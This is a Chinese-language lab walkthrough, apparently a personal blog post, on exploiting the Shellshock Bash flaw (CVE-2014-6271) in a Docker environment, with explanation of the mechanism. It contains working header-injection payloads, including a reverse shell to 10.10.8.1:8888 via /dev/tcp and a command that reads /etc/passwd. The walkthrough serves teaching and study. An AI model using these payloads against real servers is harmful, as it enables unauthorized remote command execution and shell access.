ShellShock(CVE-2014-6271)
- 现在打靶都是 Docker 了,老人家也与时俱进一下,正好可以上课和学生演示使用,适当挖坑QAQ。
漏洞说明
- Shellshock 是一个严重的安全漏洞,影响了 Bash shell(命令行解释器)的版本。该漏洞于2014年9月被公开披露,引起了广泛的关注和忧虑。
- Shellshock 漏洞的原因是 Bash 在处理环境变量时存在一个缺陷,使得攻击者可以通过在环境变量中注入恶意代码来执行任意命令。这种漏洞可能导致未经授权的访问、数据泄露、系统崩溃以及其他安全问题。
- 漏洞影响版本:GNU Bash <= 4.3
漏洞环境
- 运行漏洞环境:
1 | cd bash/CVE-2014-6271 |
漏洞复现
漏洞环境
服务启动后,有两个页面:
http://your-ip:8080/victim.cgi
:使用 bash-4.3.0 的页面http://your-ip:8080/safe.cgi
:使用 bash-4.3.30 生成的页面
简单看一下这两个文件:
1 | cat safe.cgi |
- 可以发现脚本几乎一模一样,重点是在指定的第一行:
1 | !/bin/bash |
- 指定了不同的 Bash 路径,可以依次看看版本:
1 | docker exec cve-2014-6271_web_1 /bin/bash --version |
- 可以,现在了解了这俩有什么不同后,开始漏洞利用。
漏洞利用
- 将 Payload 附在 User-Agent 中访问 victim.cgi:
注:初次访问若出现 500 Internal Server Error 需要进入容器修改文件权限。
1 | () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id |
- 反弹一下:
1 | () { :;};echo;/bin/bash -i >& /dev/tcp/10.10.8.1/8888 0>&1; |
补充:漏洞原理
原理分析(1)
这个漏洞在打靶里面比较常见,日常几乎见不到,不过对这个漏洞还是很感兴趣的,简单写一些。
原理部分:父进程中的特殊变量字符串(这里指字符串内容为函数)成为环境变量后,在子进程中调用该字符串时将其理解为函数执行
设置一个函数作为环境变量:
1 | bash-4.3# a(){ echo "HelloWorld"; } |
- 将函数设置为全局变量:
注:不知道为什么在父进程的 Bash 下没法执行。
1 | bash-4.3# export -f a |
- 可以看到子进程中也能成功执行该函数,这时候我们改变一点点:
1 | bash-4.3# export pass='() { cat /etc/passwd;}' |
- 可以看到我们创建的字符串变量被设置成环境变量后在子进程解释成了函数执行,成功读取了 /etc/passwd。
注:
()
和{
之间有空格;- 被攻击的 bash 存在漏洞(版本小于等于 4.3);
- 新的 bash 进程被打开触发漏洞并执行命令。
- 从上面的分析中可以看出,漏洞的根本原因存在于 Bash 的 ENV 命令实现上,因此漏洞本身是不能够直接导致远程代码执行的。
- 如果要达到远程代码执行的目的,必须借助第三方服务程序作为媒介才能够实现。
该 Bash 使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以
(){
开头定义的环境变量在命令 ENV 中解析成函数后,Bash 执行并未退出,而是继续解析并执行 shell 命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
可以用一条命令判断是否存在 ShellShock 漏洞:
1 | bash-4.3# env x='() { :;}; echo Vulnerable' bash -c "echo test" |
- 看到这里可能会很懵,我也会很懵,使用 ChatGPT 解释一下:
env x='() { :;}; echo Vulnerable'
:前半部分创建了一个名为 x 的环境变量,并将其值设置为'() { :;}; echo Vulnerable'
。这个值是一个恶意的 Bash 函数定义,其中:;
表示一个空的 Bash 命令,echo Vulnerable 是要执行的恶意命令。bash -c "echo test"
:后半部分使用bash -c
创建了一个bash
子进程,子进程会继承env
环境变量,这时x
便被调用了执行,成功触发漏洞输出Vulnerable
,然后正常的命令echo test
也会被执行并输出test
。
原理分析(2)
- 我们在
victim.cgi
文件里面并没有看到调用环境变量,我们从User-agent
里面的Payload
为什么就生效了?
CGI(Common Gateway Interface)脚本是一种在 Web 服务器上运行的脚本程序,用于处理Web请求并生成动态内容。
在 CGI 的执行过程中,系统会为每个请求创建一个独立的环境,并将一些与 HTTP 请求相关的环境变量设置为可用。
当一个 CGI 脚本被 HTTP 服务器调用时,它的环境变量会包含与 HTTP 服务器、客户端和 CGI 传输过程相关的信息。这些环境变量通常包括:
- REQUEST_METHOD:HTTP请求方法,如GET、POST等。
- CONTENT_TYPE:请求的内容类型,如application/x-www-form-urlencoded、multipart/form-data等。
- CONTENT_LENGTH:请求的内容长度。
- HTTP_COOKIE:客户端发送的Cookie信息。
- HTTP_USER_AGENT:客户端使用的用户代理(浏览器或其他工具)信息。
- ……
所以不单单是 User-agent,几乎 HTTP 请求头都可以写 Payload。
原理分析(3)
- 但是真正利用的时候按照上面去写是成功不了的,百度到的 Payload 千奇百怪,我都感觉不好理解,目前最好用的我觉得是下面这个:
() { :;};
:必要前置的空函数;echo;
:输出空字符串,大部分情况下必要,起到一个占位的作用;/usr/bin/whoami
:需要执行的命令。
1 | () { :;};echo;/usr/bin/whoami |
- 所以反弹 Shell 的命令可以这么写:
1 | () { :;};echo;/bin/bash -i >& /dev/tcp/10.10.8.1/8888 0>&1; |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!